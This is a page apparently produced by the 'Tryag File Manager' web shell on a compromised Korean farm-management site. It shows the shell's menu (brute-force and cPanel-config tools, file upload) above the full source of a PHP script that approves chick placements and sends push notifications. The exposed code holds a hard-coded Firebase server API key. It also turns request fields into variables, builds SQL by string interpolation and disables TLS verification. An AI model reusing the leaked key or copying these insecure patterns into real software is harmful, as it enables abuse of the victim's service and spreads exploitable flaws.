Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
ltms.eemo.co.kr
/
public_html
/
super
/
Or
Select Your Path :
Upload File :
New :
File
Dir
//home/ltms.eemo.co.kr/public_html/super/ipchu_auth_do.php
<? session_cache_limiter('no-cache, must-revalidate'); session_start(); header("Pragma: no-cache"); header("Cache-Control: no-cache,must-revalidate"); header("Content-Type: text/html; charset=utf-8"); include_once("dbconn.php"); include_once("lib.php"); foreach($_GET as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } foreach($_POST as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } $arr_rst=array(); mysql_query("update farm_ipchu_confirm_log set is_auth='1' , is_auth_date=now() where parts_no='$parts_no' and hatchery_no='$hatchery_no' ") or die(); $rs=RS("select * from farm_ipchu_confirm_log where parts_no='$parts_no' and hatchery_no='$hatchery_no' "); $rs_cnt=RS("select sum(susu) cnt from farm_ipchu_confirm_log where parts_no='$parts_no' and hatchery_no='$hatchery_no' "); $rs_hat=RS("select * from hatchery where no='$hatchery_no' "); $rs_farm=RS("select * from farm where no='{$rs[farm_no]}' "); $rs_parts=RS("select * from farm_contract_parts where no='$parts_no' "); $title2="입추승인 알림"; $title="입추승인 알림"; $cont=$jdate." "." , ".$rs_hat[name]." ".number_format($rs_cnt[cnt])." 가 입추 승인처리되었습니다."; $tts_cont=$cont; $query="insert into farm_msg_alarm set farm_no='{$rs[farm_no]}', contract_no='{$rs[contract_no]}', msg_gubun='사육관리', title='$title2', cont='$cont', is_confirm_msg='0', confirm_msg_type='3', parts_no='{$rs[parts_no]}', hatchery_no='$hatchery_no', regdate=now() "; mysql_query($query) or die(mysql_error()); /* echo "select GROUP_CONCAT(farm_dong_info_no) as ak from farm_contract_dong where farm_contract_no='{$rs_parts[contract_no]}' order by farm_dong_info_no asc \n"; echo "select GROUP_CONCAT(dong_no) as ak from hatchery_plan_ok_log where parts_no='$parts_no' and is_ltms_auth='1' order by dong_no asc \n"; echo "select GROUP_CONCAT(dong_no) as ak from hatchery_plan_ok_log where parts_no='$parts_no' and is_skip='0' and is_ltms_auth='1' order by dong_no asc \n"; echo "select GROUP_CONCAT(distinct(dong_no)) as ak from farm_ipchu_confirm_log where parts_no='{$rs[parts_no]}' and is_auth='1' order by dong_no asc \n"; echo "select * from farm_ipchu_confirm_log where parts_no='{$rs[parts_no]}' and is_auth='0' \n"; */ $rs_condong2=RS("select GROUP_CONCAT(farm_dong_info_no) as ak from farm_contract_dong where farm_contract_no='{$rs_parts[contract_no]}' order by farm_dong_info_no asc "); $rs_plan_okdong2=RS("select GROUP_CONCAT(dong_no) as ak from hatchery_plan_ok_log where parts_no='$parts_no' and is_ltms_auth='1' order by dong_no asc "); $exp21=explode(",",$rs_condong2[ak]); $exp22=explode(",",$rs_plan_okdong2[ak]); $arr_diff2 = array_diff($exp21,$exp22); $rs_condong=RS("select GROUP_CONCAT(dong_no) as ak from hatchery_plan_ok_log where parts_no='$parts_no' and is_skip='0' and is_ltms_auth='1' order by dong_no asc "); $rs_plan_okdong=RS("select GROUP_CONCAT(distinct(dong_no)) as ak from farm_ipchu_confirm_log where parts_no='{$rs[parts_no]}' and is_auth='1' order by dong_no asc "); $rs_ok_remain=RS("select * from farm_ipchu_confirm_log where parts_no='{$rs[parts_no]}' and is_auth='0' "); $exp1=explode(",",$rs_condong[ak]); $exp2=explode(",",$rs_plan_okdong[ak]); $arr_diff = array_diff($exp1,$exp2); if(sizeof($arr_diff)==0 && !$rs_ok_remain[no] && sizeof($arr_diff2)==0) { //echo "select MAX( seq ) as cnt from farm_contract_parts where contract_no='{$rs[contract_no]}' and jyear=year(now()) \n"; //echo "select count( no ) as cnt from farm_contract_parts where contract_no='{$rs[contract_no]}' and seq > 0 \n"; $rs_max=RS("select MAX( seq ) as cnt from farm_contract_parts where contract_no='{$rs[contract_no]}' and jyear=year(now()) "); $rs_cnt=RS("select count( no ) as cnt from farm_contract_parts where contract_no='{$rs[contract_no]}' and seq > 0 "); $max=$rs_max[cnt]+1; $tot_seq=$rs_cnt[cnt]+1; //echo "update farm_contract set ltms_status='5' where no='{$rs[contract_no]}' \n"; //echo "update farm_contract_parts set jyear=year(now()), seq='$max', tot_seq='$tot_seq' where no='{$rs[parts_no]}' \n"; mysql_query("update farm_contract set ltms_status='5' where no='{$rs[contract_no]}' ") or die(mysql_error()); mysql_query("update farm_contract_parts set jyear=year(now()), seq='$max', tot_seq='$tot_seq' where no='{$rs[parts_no]}' ") or die(mysql_error()); } $mode="notice"; $result_mem=mysql_query("select * from member where farm_no='{$rs[farm_no]}' and fcm_token is not null ") or die(mysql_error()); while($rs_mem=mysql_fetch_array($result_mem)) { $tokens = array(); $tokens[]=$rs_mem[fcm_token]; $istts=$rs_farm[set_alarm_tts]; $is_sound=$rs_farm[set_alarm_tts]==1?"0":$rs_farm[set_alarm_sound]; $isvib=$rs_farm[alarm_vibrate]; $ispopup=$rs_farm[alarm_popup]; $message = array("message" => $cont,"title" => $title,"mode" => $mode,"sound" => $is_sound=="1"?"1":'-1',"tts" => $tts_cont,"istts" => $istts=="1"?"1":'-1',"isvib" => $isvib=="1"?"1":'-1',"ispopup" => $ispopup=="1"?"1":'-1'); $rst=send_notification($tokens, $message); if($rst=="success") { $str_val=implode("&",$tokens); mysql_query("insert into push_send_log set arr_mem_no='{$rs_mem[no]}', title='$title', cont='$cont', tts_cont='$tts_cont', is_tts='$istts', mode='$mode', is_sound='$is_sound', regdate=now(), mode2='2' ") or die(mysql_error()); } else { } } $arr_rst['rst']='1'; echo json_encode($arr_rst); function send_notification($tokens, $message) { $url = 'https://fcm.googleapis.com/fcm/send'; $fields = array( 'registration_ids' => $tokens, 'data' => $message ); $key = "AIzaSyCG6QsJex8nT-CVCMaDQL7vKxclJl3_XwI"; $headers = array( 'Authorization:key =' . $key, 'Content-Type: application/json' ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($fields)); $response = curl_exec($ch); curl_close($ch); $json=json_decode($response,true); //NotRegistered = 앱삭제 if($json["success"]) { return "success"; } else { return $response; } } ?>